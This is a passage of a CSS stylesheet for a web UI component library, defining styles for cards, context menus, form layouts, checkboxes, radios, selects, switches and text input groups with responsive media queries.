border-bottom: 1px solid var(--warning-shape-color,#fa0);
border-top: 1px solid var(--warning-shape-color,#fa0);
color: var(--warning-text-color,#c36b00)
}
.card__ribbon--critical {
background-color: var(--white,#fff);
border-bottom: 1px solid var(--critical-shape-color,#f50c00);
border-top: 1px solid var(--critical-shape-color,#f50c00);
color: var(--critical-text-color,#c80a00)
}
.card__ribbon--neutral {
background-color: var(--white,#fff);
border-bottom: 1px solid var(--neutral-shape-color,#718095);
border-top: 1px solid var(--neutral-shape-color,#718095);
color: var(--neutral-text-color,#465a75)
}
.card__ribbon--corporate {
background-color: var(--white,#fff);
border-bottom: 1px solid var(--corporate-shape-color,#001b41);
border-top: 1px solid var(--corporate-shape-color,#001b41);
color: var(--corporate-text-color,#0b2a63)
}
.card__ribbon--promoting {
background-color: var(--white,#fff);
border-bottom: 1px solid var(--promoting-shape-color,#b410e7);
border-top: 1px solid var(--promoting-shape-color,#b410e7);
color: var(--promoting-text-color,#560e8a)
}
.card__ribbon--advertising {
background: var(--advertising-background-gradient-start,#003d8f);
background: linear-gradient(to bottom right,var(--advertising-background-gradient-start,#003d8f),var(--advertising-background-gradient-end,#1474c4));
border-bottom: 1px solid var(--advertising-background-gradient-start,#003d8f);
border-top: 1px solid var(--advertising-background-gradient-start,#003d8f);
color: var(--white,#fff)
}
.card__footer {
padding: 0 16px 16px;
text-align: center
}
.card__footer:last-child {
border-radius: 0 0 var(--default-border-radius,16px) var(--default-border-radius,16px)
}
@media only screen and (max-width: 666px) {
.card__footer:last-child {
border-radius:0 0 var(--small-border-radius,8px) var(--small-border-radius,8px)
}
}
.card__footer--distinct {
background-color: var(--default-background-color,#f4f7fa);
border-top: 1px solid var(--tertiary-shape-color,#bcc8d4);
padding-top: 16px
}
.card__footer--growing {
align-items: flex-end;
display: flex;
flex-flow: warp;
flex-grow: 1;
justify-content: center
}
.card__footer .button,.card__footer .toggle-button {
margin-bottom: 8px;
margin-top: 8px
}
.card__footer>:last-child {
margin-bottom: 4px
}
.card__footer+section:last-child {
border-bottom: 0
}
.card__footer--align-center {
justify-content: center;
text-align: center
}
.card__footer--align-left {
justify-content: flex-start;
text-align: left
}
.card__footer--align-right {
justify-content: flex-end;
text-align: right
}
@media only screen and (min-width: 1185px) {
.card__footer--large-align-center {
justify-content:center;
text-align: center
}
.card__footer--large-align-left {
justify-content: flex-start;
text-align: left
}
.card__footer--large-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.card__footer--medium-align-center {
justify-content:center;
text-align: center
}
.card__footer--medium-align-left {
justify-content: flex-start;
text-align: left
}
.card__footer--medium-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (max-width: 666px) {
.card__footer--small-align-center {
justify-content:center;
text-align: center
}
.card__footer--small-align-left {
justify-content: flex-start;
text-align: left
}
.card__footer--small-align-right {
justify-content: flex-end;
text-align: right
}
}
.card__footer--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.card__footer--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.card__footer--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.card__footer--small-hidden {
display:none
}
}
.card__footer--vertical-align-bottom {
align-items: flex-end;
display: flex;
flex-flow: wrap
}
.card__footer--vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.card__footer--vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
@media only screen and (min-width: 1185px) {
.card__footer--large-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.card__footer--large-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.card__footer--large-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.card__footer--medium-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.card__footer--medium-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.card__footer--medium-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
@media only screen and (max-width: 666px) {
.card__footer--small-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.card__footer--small-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.card__footer--small-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
.card__close {
cursor: pointer;
opacity: .62;
position: absolute;
right: 10px;
text-decoration: none;
top: 13px
}
.card__close:hover {
opacity: 1
}
.card__close:before {
color: var(--tertiary-text-color,#718095);
content: "\E67B";
font-family: exos-icon-font,serif;
font-size: 24px;
line-height: 1em
}
@media only screen and (max-width: 666px) {
.card__close {
right:11px;
top: 14px
}
.card__close:before {
font-size: 21px
}
}
.card__close--success:before {
color: var(--success-text-color,#096b35)
}
.card__close--warning:before {
color: var(--warning-text-color,#c36b00)
}
.card__close--critical:before {
color: var(--critical-text-color,#c80a00)
}
.card__close--neutral:before {
color: var(--neutral-text-color,#465a75)
}
.card__close--activating:before {
color: var(--activating-text-color,#007e9c)
}
.card__close--promoting:before {
color: var(--promoting-text-color,#560e8a)
}
.card__close--corporate:before {
color: var(--corporate-text-color,#0b2a63)
}
.card__close--bright:before {
color: var(--white,#fff)
}
.card__close+.card__headline,.card__close+.card__preheadline {
margin-right: 40px
}
@media only screen and (max-width: 666px) {
.card__close+.card__headline,.card__close+.card__preheadline {
margin-right:30px
}
}
.card__separator {
border: 0;
border-top: 1px solid var(--tertiary-shape-color,#bcc8d4);
margin: 0
}
@media only screen and (max-width: 666px) {
.headless-mode .card--headless-hidden,.headless-mode .card__footer--headless-hidden,.headless-mode .card__section--headless-hidden {
display:none
}
}
.card__section .card__ribbon {
margin: 16px -16px
}
.card__section:last-of-type .card__ribbon:last-child {
margin-bottom: 4px
}
.card__section:not(:last-of-type) .card__ribbon:last-child {
margin-bottom: -16px
}
.card.__direct-selection:hover {
box-shadow: var(--primary-shadow,0 2px 8px 0 #718095)
}
.card__action-container .context-menu__list {
right: 8px
}
.card__content>:nth-last-child(2) {
flex-grow: 1
}
.context-menu {
z-index: 1
}
.context-menu--expanded {
z-index: 2
}
.context-menu--inline {
display: inline;
margin-left: 1em
}
.context-menu--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.context-menu--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.context-menu--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.context-menu--small-hidden {
display:none
}
}
.context-menu__trigger {
color: var(--interactive-text-color,#1474c4);
cursor: pointer;
display: inline-block;
font-size: 24px;
line-height: 1;
line-height: 22px;
transition: color .1s ease-out;
vertical-align: top;
white-space: nowrap
}
.context-menu__trigger:before {
content: ""
}
.context-menu__trigger:after,.context-menu__trigger:before {
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
vertical-align: top
}
.context-menu__trigger:after {
content: ""
}
.context-menu__trigger:before {
display: inline-block;
font-size: 16px;
margin-right: 3px
}
.context-menu__trigger:after {
display: inline-block;
font-size: 13px;
margin-right: -5px
}
.context-menu__trigger--active,.context-menu__trigger:active,.context-menu__trigger:focus,.context-menu__trigger:hover {
color: var(--corporate-text-color,#0b2a63)
}
.context-menu__trigger--custom-icon:after {
content: ""
}
.context-menu__label {
color: var(--secondary-text-color,#465a75);
display: inline-block;
margin-right: 8px
}
@media only screen and (max-width: 666px) {
.context-menu__label {
display:block;
margin-right: 0
}
}
.context-menu__list {
background-color: var(--white,#fff);
border: var(--context-menu-border,1px solid #bcc8d4);
border-radius: var(--small-border-radius,8px);
box-shadow: var(--primary-shadow,0 2px 8px 0 #718095);
margin-top: -8px;
opacity: 0;
position: absolute;
text-align: left;
transition: margin .05s ease-out;
visibility: hidden;
z-index: -1
}
.context-menu__list--visible {
margin-top: 6px;
opacity: 1;
visibility: visible;
z-index: 2
}
.context-menu__list--triggered-by-button {
left: -2px;
margin-top: 10px;
opacity: 1;
visibility: visible;
z-index: 2
}
.context-menu__list--triggered-by-button-group {
left: 0;
margin-top: 0;
min-width: 100%;
opacity: 1;
visibility: visible;
z-index: 2
}
.context-menu__list--right.context-menu__list--visible {
right: -2px
}
@media only screen and (max-width: 666px) {
.context-menu__list {
border-radius:var(--xsmall-border-radius,4px)
}
}
.context-menu__list>li {
opacity: 0;
padding: 0;
transition: opacity .2s ease-out .15s
}
.context-menu__list--triggered-by-button-group>li,.context-menu__list--triggered-by-button>li,.context-menu__list--visible>li {
opacity: 1;
white-space: nowrap
}
@media only screen and (max-width: 666px) {
.context-menu__list--visible {
position:relative
}
}
.context-menu__list-link {
background: none;
border: none;
border-left: 3px solid transparent;
color: var(--default-text-color,#001b41);
display: block;
font-family: var(--default-font-regular,"OpenSansRegular",arial,arial narrow,sans-serif);
font-size: var(--default-text-size,14px);
line-height: 1.5em;
margin: 0;
max-width: 216px;
outline: 0;
padding: 0;
text-align: left;
text-decoration: none;
transition: color .1s ease-out 0s,background-color .1s ease-out 0s,border-color .1s ease-out 0s,margin .05s ease-out,padding .05s ease-out;
width: 100%
}
.context-menu__list-link--active,.context-menu__list-link:active,.context-menu__list-link:focus,.context-menu__list-link:hover {
border-left: 3px solid var(--interactive-shape-color,#1474c4);
color: var(--interactive-text-color,#1474c4)
}
.context-menu__list-link--bold {
font-family: var(--default-font-bold,"OpenSansSemibold",arial,sans-serif)
}
.context-menu__list-link--activating--active,.context-menu__list-link--activating:active,.context-menu__list-link--activating:focus,.context-menu__list-link--activating:hover {
border-left-color: var(--activating-text-color,#007e9c);
color: var(--activating-text-color,#007e9c)
}
.context-menu__list-link--critical--active,.context-menu__list-link--critical:active,.context-menu__list-link--critical:focus,.context-menu__list-link--critical:hover {
border-left-color: var(--critical-text-color,#c80a00);
color: var(--critical-text-color,#c80a00)
}
.context-menu__list--triggered-by-button .context-menu__list-link,.context-menu__list--triggered-by-button-group .context-menu__list-link,.context-menu__list--visible .context-menu__list-link {
cursor: pointer;
margin: 4px 0;
overflow: hidden;
padding: 6px 16px;
text-overflow: ellipsis
}
.context-menu__list-caption {
display: block;
font-family: var(--default-font-bold,"OpenSansSemibold",arial,sans-serif);
margin-bottom: 2px
}
.context-menu__list-description {
white-space: break-spaces
}
.context-menu__list-link:hover .context-menu__list-description {
color: var(--default-text-color,#001b41)
}
.context-menu__list-separator {
border: 0;
border-top: 1px solid var(--tertiary-shape-color,#bcc8d4);
margin-bottom: 0;
margin-top: 0
}
@media only screen and (max-width: 666px) {
.headless-mode .context-menu--headless-hidden {
display:none
}
}
.form-stripe {
margin-bottom: 0;
margin-top: 0
}
.form-stripe:after {
clear: both;
content: "";
display: table
}
.form-stripe--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.form-stripe--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.form-stripe--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.form-stripe--small-hidden {
display:none
}
}
.form-stripe--vertical-align-bottom {
align-items: flex-end;
display: flex;
flex-flow: wrap
}
.form-stripe--vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.form-stripe--vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
@media only screen and (min-width: 1185px) {
.form-stripe--large-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.form-stripe--large-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.form-stripe--large-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.form-stripe--medium-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.form-stripe--medium-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.form-stripe--medium-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
@media only screen and (max-width: 666px) {
.form-stripe--small-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.form-stripe--small-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.form-stripe--small-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
.form-stripe--actions {
margin-top: 24px;
width: 100%
}
.form-stripe--actions .button,.form-stripe--actions .ghost-button,.form-stripe--actions .toggle-button {
margin-bottom: 12px;
vertical-align: bottom
}
.form-stripe__label-area {
box-sizing: border-box;
float: left;
margin-bottom: 16px;
min-height: 1px;
padding-right: 8px;
text-align: right;
width: 33.33333%
}
.form-stripe__label-area--inline {
text-align: left;
width: auto
}
@media only screen and (max-width: 666px) {
.form-stripe__label-area {
margin-bottom:0;
margin-top: 0;
padding-right: 0;
text-align: left;
width: 100%
}
.form-stripe__label-area .label--left {
margin-bottom: 4px;
margin-top: 8px
}
}
.form-stripe__input-area {
box-sizing: border-box;
float: left;
margin-bottom: 16px;
min-height: 1px;
padding-left: 8px;
width: 66.66667%
}
.form-stripe__input-area--inline {
width: auto
}
@media only screen and (max-width: 666px) {
.form-stripe__input-area {
margin-bottom:0;
margin-top: 0;
padding-left: 0;
width: 100%
}
}
.form-stripe__primary-action-area {
box-sizing: border-box;
float: left;
margin-top: -16px;
min-height: 1px;
padding-left: 8px;
width: 66.66667%
}
@media only screen and (max-width: 666px) {
.form-stripe__primary-action-area {
float:left;
margin-bottom: 0;
margin-top: 0;
padding-left: 0;
padding-right: 8px;
width: auto
}
.form-stripe__primary-action-area .button,.form-stripe__primary-action-area .toggle-button {
margin-bottom: 8px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.form-stripe__secondary-action-area {
box-sizing: border-box;
float: left;
margin-top: -16px;
min-height: 1px;
padding-right: 8px;
text-align: right;
width: 33.33333%
}
.form-stripe__secondary-action-area:after {
content: "\00a0";
font-size: 0
}
@media only screen and (max-width: 666px) {
.form-stripe__secondary-action-area {
display:inline-block;
float: none;
margin-bottom: 0;
margin-top: 0;
padding-left: 8px;
padding-right: 0;
width: auto
}
.form-stripe__secondary-action-area .button,.form-stripe__secondary-action-area .toggle-button {
margin-bottom: 8px;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.label {
color: var(--primary-text-color,#02102b);
display: block;
font-family: var(--default-font-bold,"OpenSansSemibold",arial,sans-serif);
line-height: 22px;
margin-bottom: 4px;
margin-top: 8px
}
.label--bright {
color: var(--white,#fff)
}
.label--inline {
display: inline-block
}
.label--left {
margin-bottom: 7px;
margin-top: 7px
}
.label--has-byline {
margin-bottom: 0;
margin-top: -1px
}
@media only screen and (max-width: 666px) {
.label--has-byline {
margin-top:7px
}
}
.label--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.label--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.label--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.label--small-hidden {
display:none
}
}
.label--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.label--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.label--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.label--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.label-byline {
display: block;
font-size: var(--small-text-size,12px);
line-height: 19px;
margin-bottom: 0;
margin-top: -4px
}
@media only screen and (max-width: 666px) {
.label-byline {
margin-bottom:7px
}
.grid-small-12 .label--left {
margin-bottom: 4px;
margin-top: 8px
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.grid-medium-12 .label--left {
margin-bottom:4px;
margin-top: 8px
}
}
@media only screen and (max-width: 666px) {
.headless-mode .label--headless-hidden,.headless-mode .label-byline--headless-hidden {
display:none
}
}
.form-text {
color: var(--default-text-color,#001b41);
display: block;
font-size: var(--default-text-size,14px);
line-height: 22px;
margin: 7px 0
}
.form-text--bright {
color: var(--white,#fff)
}
@media only screen and (max-width: 666px) {
.form-text {
margin-top:0
}
}
.form-text--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.form-text--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.form-text--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.form-text--small-hidden {
display:none
}
}
.form-text--inline {
display: inline-block
}
.form-text--inline-separator {
display: inline-block;
margin-left: 6px;
margin-right: 6px
}
.input-byline {
display: inline-block;
margin-bottom: 7px;
margin-top: 7px
}
.input-byline--full-width {
width: 100%
}
.input-byline--error {
word-wrap: break-word;
color: var(--critical-text-color,#c80a00)
}
.input-byline--emphasized-error {
background: var(--solid-critical-background-color,#ff6159);
-webkit-box-decoration-break: clone;
box-decoration-break: clone;
color: var(--white,#fff);
display: inline;
padding: 1px 4px
}
.input-byline--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.input-byline--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.input-byline--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.input-byline--small-hidden {
display:none
}
}
.input-checkbox {
left: -9999px;
position: absolute
}
.input-checkbox+label {
cursor: pointer;
font-family: var(--default-font-regular,"OpenSansRegular",arial,arial narrow,sans-serif);
margin-right: 15px;
padding-left: 25px;
position: relative
}
@media only screen and (max-width: 666px) {
.input-checkbox+label {
margin-top:0
}
}
.input-checkbox+label:before {
background: transparent;
border: var(--checkbox-border-width,1px) solid var(--secondary-shape-color,#97a3b4);
border-radius: 2px;
content: "";
height: var(--checkbox-square-size,16px);
left: 0;
position: absolute;
top: 2px;
width: var(--checkbox-square-size,16px)
}
.input-checkbox+label:after {
-webkit-font-smoothing: antialiased;
color: var(--secondary-text-color,#465a75);
content: " ";
font-family: exos-icon-font,sans-serif;
left: 2px;
position: absolute;
top: 1px;
transition: all .2s
}
.input-checkbox--error+label:before {
background-color: transparent;
border-color: var(--critical-text-color,#c80a00)
}
.input-checkbox+label:hover:before,.input-checkbox:focus+label:before {
border-color: var(--interactive-shape-color,#1474c4)
}
.input-checkbox:checked+label:before {
background-color: var(--interactive-text-color,#1474c4);
border-color: var(--interactive-text-color,#1474c4);
color: var(--white,#fff)
}
.input-checkbox:checked+label:after {
color: var(--white,#fff);
content: ""
}
.input-checkbox--error:checked label:before {
background-color: transparent;
border-color: var(--interactive-text-color,#1474c4);
color: var(--white,#fff)
}
.input-checkbox:disabled+label {
cursor: not-allowed
}
.input-checkbox:disabled+label:before {
background-color: transparent;
border-color: var(--inactive-neutral-shape-color,#bcc8d4)
}
.input-checkbox:disabled+label:after {
border-color: var(--inactive-neutral-text-color,#bcc8d4);
content: " "
}
.input-checkbox--disabled {
cursor: not-allowed;
pointer-events: none
}
.input-checkbox--disabled:checked+label:after,.input-checkbox--disabled:disabled+label:after {
color: var(--default-shape-color,#465a75);
content: ""
}
.input-checkbox+.label--inline:not(.label--left) {
margin-bottom: 8px;
margin-top: 6px
}
.input-counter {
word-wrap: break-word;
color: var(--neutral-text-color,#465a75);
display: inline-block;
float: right;
margin-top: 4px
}
.input-counter--error {
color: var(--critical-text-color,#c80a00)
}
.input-radio {
left: -9999px;
position: absolute
}
.input-radio+label {
cursor: pointer;
font-family: var(--default-font-regular,"OpenSansRegular",arial,arial narrow,sans-serif);
margin-right: 15px;
padding-left: 25px;
position: relative
}
.input-radio+label:before {
background-color: transparent;
border: 1px solid var(--secondary-shape-color,#97a3b4);
border-radius: 50%;
content: "";
height: 15px;
left: 0;
margin-right: 10px;
position: absolute;
top: 3px;
width: 15px
}
.input-radio+label:hover:before,.input-radio:focus+label:before {
border: 1px solid var(--interactive-shape-color,#1474c4)
}
.input-radio:checked+label:before {
-webkit-font-smoothing: antialiased;
background-color: var(--interactive-text-color,#1474c4);
border: 1px solid var(--interactive-text-color,#1474c4);
color: var(--white,#fff);
content: "";
font-family: exos-icon-font,sans-serif;
font-size: 15px;
line-height: 15px;
text-align: center
}
.input-radio:disabled+label {
cursor: not-allowed
}
.input-radio:disabled+label:before {
background-color: transparent;
border-color: var(--inactive-neutral-shape-color,#bcc8d4);
color: var(--default-shape-color,#465a75)
}
.input-radio+.label--inline:not(.label--left) {
margin-bottom: 8px;
margin-top: 6px
}
.input-select {
background-color: transparent;
border: 1px solid var(--secondary-shape-color,#97a3b4);
border-radius: var(--small-border-radius,8px);
box-sizing: border-box;
color: var(--default-text-color,#001b41);
display: inline-block;
font-family: var(--default-font-regular,"OpenSansRegular",arial,arial narrow,sans-serif);
font-size: var(--default-text-size,14px);
height: 36px;
padding: 6px;
width: 100%
}
.input-select--multiple {
height: auto
}
.input-select::-ms-expand {
background-color: transparent;
border: 0;
margin-left: 8px;
margin-right: -12px;
padding-right: 12px
}
.input-select:focus,.input-select:hover {
border-color: var(--interactive-shape-color,#1474c4)
}
.input-select:focus {
outline: 0
}
.input-select::-webkit-input-placeholder {
color: var(--secondary-text-color,#465a75)
}
.input-select::placeholder {
color: var(--secondary-text-color,#465a75)
}
.input-select--bright {
border-color: var(--white,#fff);
color: var(--white,#fff)
}
.input-select--bright::-webkit-input-placeholder {
color: var(--white,#fff)
}
.input-select--bright::placeholder {
color: var(--white,#fff)
}
@media only screen and (max-width: 666px) {
.input-select {
border-radius:var(--xsmall-border-radius,4px)
}
}
.input-select option {
color: var(--default-text-color,#001b41);
padding: 0 6px
}
.input-select--inline {
width: auto
}
.input-select--error {
background-color: transparent
}
.input-select--error,.input-select--error:hover {
border-color: var(--critical-shape-color,#f50c00)
}
.input-select--error:focus {
border-color: var(--interactive-shape-color,#1474c4)
}
.input-select--disabled {
background-color: transparent;
color: var(--tertiary-text-color,#718095);
cursor: not-allowed
}
.input-select--disabled:hover {
border-color: var(--tertiary-shape-color,#bcc8d4)
}
.input-switch {
cursor: pointer;
display: inline-block;
font-size: 0;
height: 19px;
overflow: hidden;
padding-right: 2px;
position: relative;
vertical-align: middle;
width: 39px
}
.input-switch--disabled {
cursor: not-allowed;
opacity: .5
}
.input-switch label {
background-color: var(--quaternary-background-color,#97a3b4);
border: 1px solid transparent;
border-radius: 20px;
display: inline-block;
height: 17px;
margin-bottom: 4px;
width: 100%
}
.input-switch input {
cursor: pointer;
display: inline-block;
height: 19px;
margin: 0;
opacity: 0;
position: absolute;
width: 37px
}
.input-switch input:checked+label {
background-color: var(--interactive-text-color,#1474c4)
}
.input-switch__on {
display: inline-block;
height: 100%;
line-height: 18px;
text-align: center;
transition: width .1s;
vertical-align: top;
width: 0
}
.input-switch__on:before {
background-size: auto;
color: var(--white,#fff);
content: "";
display: inline-block;
font-family: exos-icon-font,sans-serif;
font-size: var(--default-text-size,14px);
height: 17px;
vertical-align: top;
width: 12px
}
.input-switch__toggle {
background-color: var(--white,#fff);
border-radius: 17px;
width: 17px
}
.input-switch__off,.input-switch__toggle {
display: inline-block;
height: 100%;
transition: width .1s;
vertical-align: top
}
.input-switch input:checked+label .input-switch__on,.input-switch__off {
width: 22px
}
.input-switch input:checked+label .input-switch__off {
width: 0
}
.input-text {
background-color: transparent;
border: 1px solid var(--secondary-shape-color,#97a3b4);
border-radius: var(--small-border-radius,8px);
box-sizing: border-box;
color: var(--default-text-color,#001b41);
display: inline-block;
font-family: var(--default-font-regular,"OpenSansRegular",arial,arial narrow,sans-serif);
font-size: var(--default-text-size,14px);
height: 36px;
padding: 0 12px;
width: 100%
}
.input-text:focus,.input-text:hover {
border-color: var(--interactive-shape-color,#1474c4)
}
.input-text:focus {
outline: 0
}
.input-text::-webkit-input-placeholder {
color: var(--secondary-text-color,#465a75)
}
.input-text::placeholder {
color: var(--secondary-text-color,#465a75)
}
.input-text--bright {
border-color: var(--white,#fff);
color: var(--white,#fff)
}
.input-text--bright::-webkit-input-placeholder {
color: var(--white,#fff)
}
.input-text--bright::placeholder {
color: var(--white,#fff)
}
@media only screen and (max-width: 666px) {
.input-text {
border-radius:var(--xsmall-border-radius,4px)
}
}
.input-text--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.input-text--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.input-text--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.input-text--small-hidden {
display:none
}
}
.input-text--inline {
width: auto
}
@media only screen and (max-width: 666px) {
.input-text--inline {
width:100%
}
}
.input-text--error {
background-color: transparent
}
.input-text--error,.input-text--error:hover {
border-color: var(--critical-shape-color,#f50c00)
}
.input-text--error:focus {
border-color: var(--interactive-shape-color,#1474c4)
}
.input-text--disabled {
background-color: transparent;
color: var(--tertiary-text-color,#718095);
cursor: not-allowed
}
.input-text--disabled:hover {
border-color: var(--tertiary-shape-color,#bcc8d4)
}
.input-text-group {
background-color: transparent;
border: 1px solid var(--secondary-shape-color,#97a3b4);
border-radius: var(--small-border-radius,8px);
box-sizing: border-box;
display: flex;
position: relative
}
.input-text-group--focus,.input-text-group--focus:hover,.input-text-group:hover {
border-color: var(--interactive-shape-color,#1474c4)
}
.input-text-group--disabled {
background-color: transparent;
color: var(--tertiary-text-color,#718095);
cursor: not-allowed
}
.input-text-group--disabled:hover {
border-color: var(--tertiary-shape-color,#bcc8d4)
}
.input-text-group--inline {
display: inline-flex
}
.input-text-group--bright {
border-color: var(--white,#fff)
}
.input-text-group--bright .input-text {
color: var(--white,#fff)
}
.input-text-group--error {
background-color: transparent
}
.input-text-group--error,.input-text-group--error:hover {
border-color: var(--critical-text-color,#c80a00)
}
.input-text-group .input-text {
background: transparent;
border: none;
border-radius: 0;
flex: 2 1 0%;
height: 34px;
line-height: 34px;
padding: 0
}
.input-text-group .input-text:first-child {
padding-left: 12px
}
.input-text-group .input-text:last-child {
padding-right: 12px
}
@media only screen and (max-width: 666px) {
.input-text-group {
border-radius:var(--xsmall-border-radius,4px)
}
}
.input-text-group--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.input-text-group--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.input-text-group--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.input-text-group--small-hidden {
display:none
}
}
.input-text-group__text {
color: var(--default-text-color,#001b41);
cursor: text;
display: inline;
flex: 0 1 0%;
font-family: var(--default-font-regular,"OpenSansRegular",arial,arial narrow,sans-serif);
font-size: var(--default-text-size,14px);
height: 24px;
line-height: 24px;
margin: 0;
padding: 5px 8px;
-webkit-transform: translateX(-1px);
transform: translateX(-1px);
vertical-align: top;
white-space: nowrap
}
.input-text-group__text--bright {
color: var(--white,#fff)
}
@media only screen and (max-width: 666px) {
.input-text-group__text {
flex:1 1 0;
overflow: hidden;
text-align: right;
text-overflow: ellipsis
}
}
.input-text-group--bright .input-text-group__text {
color: var(--white,#fff)
}
.input-text-group__icon {
border-radius: 8px 0 0 8px;
color: var(--secondary-text-color,#465a75);
cursor: text;
display: inline;
flex: 0 1 0%;
font-family: var(--default-font-regular,"OpenSansRegular",arial,arial narrow,sans-serif);
font-size: var(--default-text-size,14px);
height: 24px;
line-height: 24px;
margin: 0 0 0 1px;
opacity: .8;
padding: 5px 8px;
-webkit-transform: translateX(-1px);
transform: translateX(-1px);
vertical-align: top;
white-space: nowrap
}
.input-text-group__icon--secondary {
background-color: var(--default-background-color,#f4f7fa);
margin-right: 8px
}
.input-text-group__icon--bright {
color: var(--white,#fff)
}
.input-text-group__icon--separator {
border-right: 1px solid var(--tertiary-shape-color,#bcc8d4);
margin-right: 8px
}
.input-text-group__icon .input-text-group__text {
color: var(--secondary-text-color,#465a75);
padding-left: 4px;
padding-right: 2px
}
.input-text-group__icon--secondary .input-text-group__text {
color: var(--default-text-color,#001b41)
}
.input-text-group--bright .input-text-group__icon {
color: var(--white,#fff)
}
.input-text-group:hover .input-text-group__icon {
opacity: 1
}
.input-text-group__icon--account {
line-height: 1
}
.input-text-group__icon--account:before {
content: "";
font-family: exos-icon-font;
font-size: var(--default-text-size,14px);
font-style: normal;
font-weight: 400!important;
height: 24px;
line-height: 24px;
vertical-align: top
}
.input-text-group__icon--attach {
line-height: 1
}
.input-text-group__icon--attach:before {
content: "";
font-family: exos-icon-font;
font-size: var(--default-text-size,14px);
font-style: normal;
font-weight: 400!important;
height: 24px;
line-height: 24px;
vertical-align: top
}
.input-text-group__icon--callback {
line-height: 1
}
.input-text-group__icon--callback:before {
content: "";
font-family: exos-icon-font;
font-size: var(--default-text-size,14px);
font-style: normal;
font-weight: 400!important;
height: 24px;
line-height: 24px;
vertical-align: top
}
.input-text-group__icon--domain {
line-height: 1
}
.input-text-group__icon--domain:before {
content: "";
font-family: exos-icon-font;
font-size: var(--default-text-size,14px);
font-style: normal;
font-weight: 400!important;
height: 24px;
line-height: 24px;
vertical-align: top
}
.input-text-group__icon--edit {
line-height: 1
}
.input-text-group__icon--edit:before {
content: "";
font-family: exos-icon-font;
font-size: var(--default-text-size,14px);
font-style: normal;
font-weight: 400!important;
height: 24px;
line-height: 24px;
vertical-align: top
}
.input-text-group__icon--folder {
line-height: 1
}
.input-text-group__icon--folder:before {
content: "";
font-family: exos-icon-font;
font-size: var(--default-text-size,14px);
font-style: normal;
font-weight: 400!important;
height: 24px;
line-height: 24px;
vertical-align: top
}
.input-text-group__icon--folder-download {
line-height: 1
}
.input-text-group__icon--folder-download:before {
content: "";
font-family: exos-icon-font;
font-size: var(--default-text-size,14px);
font-style: normal;
font-weight: 400!important;
height: 24px;
line-height: 24px;
vertical-align: top
}
.input-text-group__icon--folder-upload {
line-height: 1
}
.input-text-group__icon--folder-upload:before {
content: "";
font-family: exos-icon-font;
font-size: var(--default-text-size,14px);
font-style: normal;
font-weight: 400!important;
height: 24px;
line-height: 24px;
